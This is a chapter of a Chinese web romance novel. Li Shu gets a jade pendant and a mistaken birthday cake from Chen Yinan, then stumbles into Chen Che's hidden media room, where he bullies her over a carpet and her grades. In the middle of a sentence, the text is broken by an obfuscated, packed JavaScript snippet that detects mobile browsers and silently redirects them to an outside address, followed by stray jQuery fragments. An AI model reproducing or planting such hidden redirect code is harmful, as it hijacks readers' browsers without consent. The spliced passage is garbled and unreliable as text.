24. 24

作品:《被死对头连环诈骗了

    周六的时候,栗舒专门跟夏姐请了假在家里等着陈以南回来,这一等就是大半天,一直到柳姨来敲门,她才兴冲冲的下去。


    今天陈以南穿的还是正装,像是刚办忙完回来,连发型都还是打理过的样子,此时静静地坐在桌前,旁边还有个精致的包装盒。


    栗舒深吸了口气,慢慢走过去。


    坐在桌上的人察觉到她,关掉了手机抬头看过来:“小舒,对吧?”他的语调不像是平常那么疏离,带着些温和的意味。


    栗舒乖乖的打了个招呼:“陈大哥,你回来了。”


    陈以南微蹙着眉看着她,语气诚恳:“昨天陈澈的事情你不要跟他计较,他随心所欲惯了,有时候开玩笑没有分寸,我代替他跟你道歉。”


    栗舒被他正式的样子吓了一跳,急忙摆手:“没事的,昨天是个误会。”


    “我知道他没有恶意。”栗舒说着说着有些编不下去,不过看着对面那张青隽的脸,还是将违心进行到底:“我没有生气,你不用这么在意。”


    听完这话之后,陈以南这才点了点头,随后从兜里拿出了一个小盒子放到桌子上朝着她的方向推过来,“去香港的时候看到的,觉得很适合你,就买下了。”


    栗舒看着那个小小那个丝绒的盒子,有些受宠若惊,一时间忘了道谢,只是呆站着在原地。


    “可以打开,看看喜不喜欢。”他提醒。


    栗舒这才反应过来,轻轻的打开首饰盒,是一个项链,白润细腻的平安玉,在灯光下很清透,配着带有金丝线的黑色绳子,显得格外贵气。


    她是真的没想到,自己这个只跟他见过不到几面的无名小卒会被他记在心上。


    尤其这个人还是还是工作很忙几乎没有休息时间的陈以南


    心里像是被塞了个打满气的气球,瞬间变得充盈起来。


    陈以南看着她虽然没有太明显的表情,但是眼神里有明显的惊喜,心里有了底,“对了,庄姨说你今天过生日,我买了蛋糕。”


    栗舒如梦初醒的抬头,面上有些茫然,“生日?”


    她的生日明明是七月份,早就过了,刚想开口解释,但是正巧与面前的人对视,他眼眸如一片湖水,平静无波,此刻正专注的看过来,静静地等她开口。


    栗舒瞬间说不出话来,陈大哥是因为以为自己过生日才专门回来的吗?如果突然开口解释说是搞错了,他会不会很失望?


    再说让他知道庄晓惠记错了自己的生日,也会引起一些不必要的误会。


    栗舒垂下头,手指轻轻的在盒子上滑动着,刚准备换个话题,问问他有没有吃到冰箱里的酸枣,一阵电话铃声响起,打断她开口。


    陈以南接通电话之后,只是简单说了句:“好,我知道了,让他在公司等我。”就挂断了电话。


    “本来说是要带着你出去吃饭的,但是现在临时有点事…”他停住,看向栗舒,脸色有些为难。


    “你先去忙吧,我已经吃过了。”栗舒立马领会他的意思,善解人意的接话。


    “那蛋糕就请你自便了。”陈以南把盒子往这边推了一下。


    也许是是刚才下来太过激动没有细看,栗舒才发现桌上不仅摆一个精致的蛋糕,旁边还有两瓶红酒。


    陈以南注意到她的眼神,解释道,“这是捎回来的红酒,到时候麻烦你到时候让柳姨放到酒柜里。”


    栗舒随着他起身,连连点头,看他走出几步,没有拿走椅子上搭着的西服外套,刚准备顺手给他拿上,却被转身回来的陈以南抢先一步。


    栗舒有些局促的缩回手,跟着他走到玄关处,陈以南想起来了什么,扭身看她:“对了,生日快乐。”


    他比她高很多,说话的时候垂着眼,整个人矜贵又笔挺,栗舒咽了咽口水,回了声谢谢。


    陈以南走了之后,她在原地待一会,直到看不到他的背影之后,飞快的回到客厅的桌前,小心地把那个丝绒盒子放到自己的兜里。


    柳姨这么久没有出现,应该是去做饭了,看着红酒瓶,栗舒脑子里好像闪过柳姨之前提到过的藏酒室的位置。


    她抱着红酒上了二楼,走廊尽头的拐角处有个藏酒个向下的旋转小楼梯x顺着楼梯下去,就是一个很宽阔的走廊,两边很多木质的酒柜,一个一个挨着一个,摆满了琳琅满目的酒瓶,看上面的小标签,好像是按照年份分类的。


    栗舒看了看瓶子,实在是找不到日期,于是打算先放到这一大类酒的旁边,等柳姨下来再收拾。


    这些酒柜的旁边还有很多的小柜子,摆放着一些玻璃制品,栗舒走的时候格外小心,正扶着墙往前走,突然手下一空,墙上竟然出现了裂缝,她再次推了一下,发现那是一个暗门,与墙壁浑然一体,不仔细看根本看不出来。


    她惊奇的里面看了一眼,里面又是一个单独的房间,中间是个很大的屏幕,旁边是四个超大号的音响,周围是沙发,地上还有摆放杂乱的录像带和书本。


    不知道为什么,栗舒总觉得这种布局似曾相识,好像在哪里见过,她往里面走了走,发现铺满了地毯,一点脚步声声音都听不到,这个房间很空旷,看起来不像是住人的,应该是专门用来看打发时间的地方。


    栗舒环顾了一下四周,看到沙发上散落的书,有些好奇的瞄了一眼,发现是一些国外的文学,还有熟悉的高中题目以及代数几何,高数之类的。


    她脑子里蹦出来那天陈澈说的影音室,意识到这应该是他的地盘,于是有些戒备的环顾了一下四周,准备赶紧离开。


    转眼间却又被另外一个相框吸引住,准确的来说是那个相框上的人,其中左边的人影明显是陈以南的面庞,相比现在还有点青涩,正搂住旁边的人微笑着,她不自觉的的伸手,想看得更清楚一些。


    只不过还没来得及触碰到相框,就听到了一道阴沉的男声传来:“你在这干什么?”


    被刻意压低


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079577|162702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的声音在过于大的空间里回荡着,显得格外恐怖。


    栗舒听出那道声音是谁时,几乎是倒吸了一口凉气,脑子里飞快的组织了下语言,扭身解释,“我是来送红酒的。”


    她刚转头,就看到了离得很近的陈澈,被吓了一跳,往后退了几步,扶着后面的沙发才勉强站稳。


    陈澈打量了她一下,明显不相信她的说辞,“送红酒送到这来?”


    “我是不小心才进来的,不知道这是你的房间,不好意思。”栗舒知道理亏,语气也弱了些,飞快的说完就准备走。


    “等等。”陈澈开口叫住她,“地毯给我踩脏了,拿走洗洗。”


    栗舒不明所以的看着地上大面积的地毯,咬了咬牙,弯着腰开始卷起来。


    等到好不容易收好,准备拿走的时候,那道凉凉的声音再次响起,“这是进口的真丝地毯。”


    栗舒看着他,没有说话,心里升起一股不好的预感


    听着那人紧接着说:“要手擦,不能机洗。”


    栗舒看向面前插着兜站着的人,一股火气涌上来,这么大面积的地毯,手擦的话不知道要清理到什么时候,而且她只是用拖鞋踩了一下能有多脏,这明显就是刁难。


    她看了看陈澈脚上的球鞋,心里哼了一声,接着抬眼,一字一句的反驳,“这种地毯既然这么名贵的话,就应该送去专业的人士那里保养,还有我穿的明明是拖鞋,你穿的球鞋,谁踩脏了还不够清楚?”


    看着面前振振有词的某人,他眯了眯眼,眼里闪过危险的光,语气开始不耐:“你莫名其妙闯进我的地方你还有理了?别这么多废话,让你擦就赶紧去擦。”


    “我承认我私自进来是我的问题,我向你道歉,这地毯不是我踩脏的。”她说着就要往地上放。


    陈澈啧了一声,“你现在脑子转的这么快,怎么不把这把力气用在学习上?不然怎么会考倒数第三?”


    栗舒被戳到了痛处,一时间找不到反驳的话,看着面前的人青一阵白衣镇,陈澈满眼的玩味,勾了勾唇继乘胜追击:“对了,你妈知道你考数学靠个位数吗?啊?倒数第三?”


    栗舒忍无可忍的提高声音:“这跟你有关系吗?”


    陈澈耸耸肩,“是跟我没关系,反倒是我哥在关心你成绩,我是说还是不说?”


    他把手机拿出来,“要不我现在给哥打电话,让他给你弄个家教?”


    陈澈眉毛轻挑,黑色的瞳仁盯着面前第人,欣赏她调色盘一样的脸。


    栗舒心里有些没底,没有力气再反驳,生怕他现在拿手机给陈以南打电话,匆忙抱着地毯下楼。


    等到房间里的人影彻底消失,陈澈才坐在沙发上,双手展开往后平躺,浑身畅快,看见那个拖油瓶吃瘪的样子真的不是一般的舒服。


    他歪着头想起来栗舒刚才的反应,似乎是摸到了什么规律。


    提他哥的名字,


    貌似还挺好使的?